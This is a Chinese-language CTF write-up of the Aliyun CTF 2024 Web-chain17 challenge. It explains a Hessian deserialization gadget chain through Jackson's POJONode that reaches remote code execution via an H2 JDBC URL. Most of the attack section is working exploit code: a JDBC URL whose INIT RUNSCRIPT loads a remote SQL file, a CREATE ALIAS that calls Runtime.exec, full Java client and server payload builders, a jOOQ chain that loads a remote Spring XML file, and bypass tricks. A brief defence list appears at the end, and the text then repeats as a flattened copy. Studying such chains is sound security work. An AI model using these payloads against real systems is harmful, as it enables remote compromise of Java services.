2024阿里云ctf-web-chain17学习
字数 894 2025-08-05 08:19:13

H2 JDBC Attack 漏洞分析与利用

漏洞概述

本文详细分析了阿里云CTF 2024中Web-chain17题目涉及的H2数据库JDBC攻击链,通过Hessian反序列化漏洞触发H2数据库的远程代码执行(RCE)。

环境依赖

漏洞利用涉及以下关键依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>hessian-lite</artifactId>
    <version>3.2.13</version>
</dependency>
<dependency>
    <groupId>cn.hutool</groupId>
    <artifactId>hutool-all</artifactId>
    <version>5.8.16</version>
</dependency>
<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>2.2.224</version>
</dependency>

H2 RCE原理

H2数据库支持通过JDBC URL初始化时执行SQL脚本:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

攻击者可构造恶意SQL脚本创建Java函数并执行系统命令:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {
    Runtime.getRuntime().exec(cmd);
    return "su18";
}';
CALL EXEC('open -a Calculator.app')

漏洞利用链分析

完整的利用链如下:

Hessian2#readObject -> 
AtomicReference#toString -> 
String#valueOf -> 
POJONode#toString -> 
H2 JDBC Attack

关键步骤解析

  1. Hessian反序列化触发点

    • _type不为null且不是Map/SortedMap时,调用构造函数实例化对象
    • 生成JSONObject变量并通过put方法设置键值对
  2. 指定Hessian2创建JSONObject

    hessian2Output.writeMapBegin(JSONObject.class.getName());
    hessian2Output.writeObject("whatever");
    
  3. 触发POJONode的toString

    POJONode pojoNode = new POJONode(bean);
    Object object = new AtomicReference<>(pojoNode);
    hessian2Output.writeObject(object);
    
  4. Jackson序列化触发getter

    • BeanSerializerBase#serializeFields中通过反射调用getter方法
    • 获取值后对value再次进行序列化

完整Payload构造

客户端Payload

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

// 使用Unsafe绕过序列化限制
Unsafe unsafe = UnSafeTools.getUnsafe();
H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);
jdbcDataSource.setURL(connectionUrl);
jdbcDataSource.setLoginTimeout(5);

// 创建代理对象触发getConnection
Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);

// 设置Bean数据
Bean bean = new Bean();
UnSafeTools.setObject(bean, Bean.class.getDeclaredField("data"), 
    Base64.getDecoder().decode(SerialTools.base64Serial(o)));

// 构造Hessian序列化数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");

POJONode pojoNode = new POJONode(bean);
Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();

// 触发反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input((InputStream) byteArrayInputStream);
hessian2Input.readObject();

服务端Payload

String url = "http://127.0.0.1:1234/poc.xml";

// 构造jOOQ相关对象
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();

Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);

Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);

Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);

// 设置关键字段
Object value = url;
Class type = ClassPathXmlApplicationContext.class;
UnSafeTools.setObject(val, val.getClass().getSuperclass().getDeclaredField("value"), value);
UnSafeTools.setObject(tableDataType, tableDataType.getClass().getSuperclass().getDeclaredField("uType"), type);

// 构造事件监听链
POJONode pojoNode = new POJONode(convertedVal);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectTools.setFieldValue(eventListenerList, "listenerList", 
    new Object[]{InternalError.class, undoManager});

// 生成序列化数据
String s = SerialTools.base64Serial(eventListenerList);
System.out.println(s);
SerialTools.base64DeSerial(s);

绕过技巧

  1. 使用Unsafe绕过序列化限制

    • 直接分配实例避免不可序列化字段问题
    H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);
    
  2. 解决trace未加载问题

    • 原生类序列化可能无法正确加载trace
    • 使用SimpleDSFactory作为替代方案
  3. JVM参数要求

    --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
    --add-opens java.base/java.lang=ALL-UNNAMED
    --add-opens java.base/java.util=ALL-UNNAMED
    

防御措施

  1. 限制H2数据库的JDBC URL格式
  2. 禁用H2数据库的远程脚本执行功能
  3. 更新Hessian和H2库到最新版本
  4. 实施严格的输入验证和反序列化白名单

总结

该漏洞利用链结合了Hessian反序列化、Jackson序列化和H2数据库特性,通过精心构造的对象链触发远程代码执行。关键在于:

  1. 利用Hessian反序列化创建特定类型对象
  2. 通过AtomicReference触发toString调用链
  3. 利用POJONode的toString触发Jackson的getter方法
  4. 最终通过H2 JDBC连接执行远程SQL脚本

理解整个利用链需要对Java序列化、反序列化机制和H2数据库特性有深入理解。

H2 JDBC Attack 漏洞分析与利用 漏洞概述 本文详细分析了阿里云CTF 2024中Web-chain17题目涉及的H2数据库JDBC攻击链,通过Hessian反序列化漏洞触发H2数据库的远程代码执行(RCE)。 环境依赖 漏洞利用涉及以下关键依赖: H2 RCE原理 H2数据库支持通过JDBC URL初始化时执行SQL脚本: 攻击者可构造恶意SQL脚本创建Java函数并执行系统命令: 漏洞利用链分析 完整的利用链如下: 关键步骤解析 Hessian反序列化触发点 : 当 _type 不为null且不是Map/SortedMap时,调用构造函数实例化对象 生成JSONObject变量并通过put方法设置键值对 指定Hessian2创建JSONObject : 触发POJONode的toString : Jackson序列化触发getter : BeanSerializerBase#serializeFields 中通过反射调用getter方法 获取值后对value再次进行序列化 完整Payload构造 客户端Payload 服务端Payload 绕过技巧 使用Unsafe绕过序列化限制 : 直接分配实例避免不可序列化字段问题 解决trace未加载问题 : 原生类序列化可能无法正确加载trace 使用SimpleDSFactory作为替代方案 JVM参数要求 : 防御措施 限制H2数据库的JDBC URL格式 禁用H2数据库的远程脚本执行功能 更新Hessian和H2库到最新版本 实施严格的输入验证和反序列化白名单 总结 该漏洞利用链结合了Hessian反序列化、Jackson序列化和H2数据库特性,通过精心构造的对象链触发远程代码执行。关键在于: 利用Hessian反序列化创建特定类型对象 通过AtomicReference触发toString调用链 利用POJONode的toString触发Jackson的getter方法 最终通过H2 JDBC连接执行远程SQL脚本 理解整个利用链需要对Java序列化、反序列化机制和H2数据库特性有深入理解。